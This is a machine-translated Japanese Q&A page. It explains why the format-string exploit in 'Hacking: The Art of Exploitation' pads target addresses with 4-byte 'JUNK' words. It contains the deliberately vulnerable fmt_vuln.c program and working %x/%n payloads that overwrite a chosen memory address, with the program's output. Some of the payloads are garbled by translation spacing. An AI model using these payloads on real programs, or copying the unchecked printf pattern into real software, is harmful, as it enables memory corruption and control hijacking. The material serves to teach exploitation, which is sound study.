web-dev-qa-db-ja.com

なぜprintf()の脆弱性は4バイトのジャンクデータを必要とするのですか? -「ハッキング:搾取の芸術」

私は「ハッキング:悪用の芸術第2版」を読んでいます。そして、私には十分に説明されていない部分にぶつかった。

「任意のアドレスへの書き込み」セクションで、Jon Ericksonは、printfへの最初の引数としてformat-paramaters(%xなど)を渡す脆弱な小さなcプログラム(fmt_vulnと呼ばれる)を作成します。これを行うと、スタックフレームの先頭からprintfの読み取りが開始されます。次に、この脆弱性を使用して、任意のアドレス0x08049794に書き込みます。

以下のコード(fmt_vuln.c)はターゲットプログラムです。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
  char text[1024];
  static int test_val = -72;
  if(argc < 2) {
    printf("Usage: %s <text to print>\n", argv[0]);
    exit(0);
 }
  strcpy(text, argv[1]);
  printf("The right way to print user-controlled input:\n");
  printf("%s", text);
  printf("\nThe wrong way to print user-controlled input:\n");
  printf(text);
  printf("\n");

  // Debug output
  printf("[*] test_val @ 0x%08x = %d 0x%08x\n", &test_val, test_val, test_val);

  exit(0);
}

この脆弱性を利用して、test_valのアドレスに「0xDDCCBBAA」という値を書き込もうとしています。プログラムの出力は、test_valが0x08049794にあることを示しています。

エクスプロイトは次のようになります。

./fmt_vuln $(printf "\x94\x97\x04\x08")%x%x%150x%n

これにより、16進値0xAAがアドレス0x08049794に書き込まれます。

0x08049794から始まる順次アドレスへの4回の書き込みで、毎回1バイトを追加することでこれを実現できます。最初に0xAAに書き込み、次に2回目に0xBBを0x08049795に書き込み、3回目に0xCCに0x08049796に書き込み、最後に0xDDに0x08049797に書き込みます。

本はこのようなエクスプロイトを使用しています:

reader@hacking:~/booksrc $ gdb -q --batch -ex "p 0xaa - 52 + 8"
$1 = 126

reader@hacking:~/booksrc $ ./fmt_vuln $(printf "\x94\x97\x04\x08JUNK\x95\x97\x04\x08JUNK\x96\
x97\x04\x08JUNK\x97\x97\x04\x08")%x%x%126x%n%17x%n%17x%n%17x%n
The right way to print user-controlled input:
??JUNK??JUNK??JUNK??%x%x%126x%n
The wrong way to print user-controlled input:
??JUNK??JUNK??JUNK??bffff3c0b7fe75fc
0
[*] test_val @ 0x08049794 = 170 0xddccbbaa
reader@hacking:~/booksrc $

私の質問は:

アドレス間に4バイトのジャンクデータが必要なのはなぜですか?著者は「JUNK」という単語を使用します。これは4バイトの任意の文字列ですが、4バイトの長さであれば何でもかまいません。しかし、4バイトのJUNKデータが必要な理由を説明しません。 「別の%xフォーマットパラメータがバイトカウントを187にインクリメントするには、別の引数が必要です。これは10進数で0xBBです。」.

7
jairbow

各フォーマットパラメータは、各連続バイトに作用します。 %nは次のバイトに適用されるため、%xを使用して、書き込みたいアドレスを含むバイトの1つにスペースを読み取って追加することはできません。

つまり、%xはスペースの読み取りと追加に使用されます。スペースを追加したら、%nを使用して、指定したアドレスにその値を書き込みます。したがって、%xは%nの前に実行する必要があります。 %xは4バイトワードの1つに作用するため、作成者は%xがスペースを作成するための4バイトワードを作成し、次の4バイトワードはメモリアドレスです。これは% nが書き込みます。

これが将来私のような初心者のためにそれを片付けることを望みます。

1
jairbow

私はそれがコンパイラとあなたが走っているシステムに依存し、変化すると思います。

たとえば、あなたが提供したテストコードで私のために働いたのは:(ubuntu 32ビットマシンで)

\ x30\xa0\x04\x08\x31\xa0\x04\x08\x32\xa0\x04\x08\x33\xa0\x04\x08%154x%4 $ n%17x%5 $ n%17x%6 $ n %17x%7 $ n

最初の16バイトは、注入したいアドレスです:0x0804a030、0x0804a031、0x0804a032、0x0804a033-私の場合、test_valのアドレスは0x0804a030なので。

次に、%154xは、出力に154文字を埋め込むようにprintfに指示します。これまでに16文字が印刷されたため、154 + 16 = 170 = 0xAA

次に、%4 $ nは、printfに渡された4番目のパラメーターのアドレスに値を書き込むようにprintfに指示します。この値は、入力が見つかったスタック内のオフセットを特定し、printfにそれをターゲットアドレスとして使用させるために、試行錯誤によって検出されます。 41414141値の場所を見つけるためにAAAA%p%p%p ...%pを注入すると、オフセットがわかります。私の場合は4でした。

残りは、注入された値を目的の値にインクリメントし、printfに次のポインターに書き込むために、17 = 0x11文字を追加するだけです(私の場合は5、6、7)。

彼の場合に作者が4バイト余分に必要とした理由は、コンパイラがスタックのパラメータを処理する方法にあったと思います。たぶんそれらは4バイトで区切られているはずだったので、彼はそれらの間に4バイトを埋め込むことなしにアドレスを注入することができませんでした。

文字列にJUNK 4バイトを注入した場合、後で入力する必要がありました:

\ x30\xa0\x04\x08JUNK\x31\xa0\x04\x08JUNK\x32\xa0\x04\x08JUNK\x33\xa0\x04\x08%142x%4 $ n%17x%6 $ n%17x%8 $ n %17x%10 $ n

5、7、9でJUNKバイトが見つかったため、ターゲットポインターを4、6、8、10に変更します。

これは、問題に関する優れたブログ投稿のリンクです: http://codearcana.com/posts/2013/05/02/introduction-to-format-string-exploits.html

4
aviv

%17xが印刷するためにあります。最初の4バイト(\x94\x97\x04\x08)は%nアドレスとして機能し、次の4バイト(JUNK)は%17x、次の4バイト(\x95\x97\x04\x08 )2番目の%nなどとして機能します。

あなたはそれらなしで行うことができます、例えば。のようなもので

\x94\x97\x04\x08\x95\x97\x04\x08\x96\x97\x04\x08\x97\x97\x04\x08%x%x%126x%n%n%n%n

値0xAAAAAAAAをtest_valに書き込む

2
guest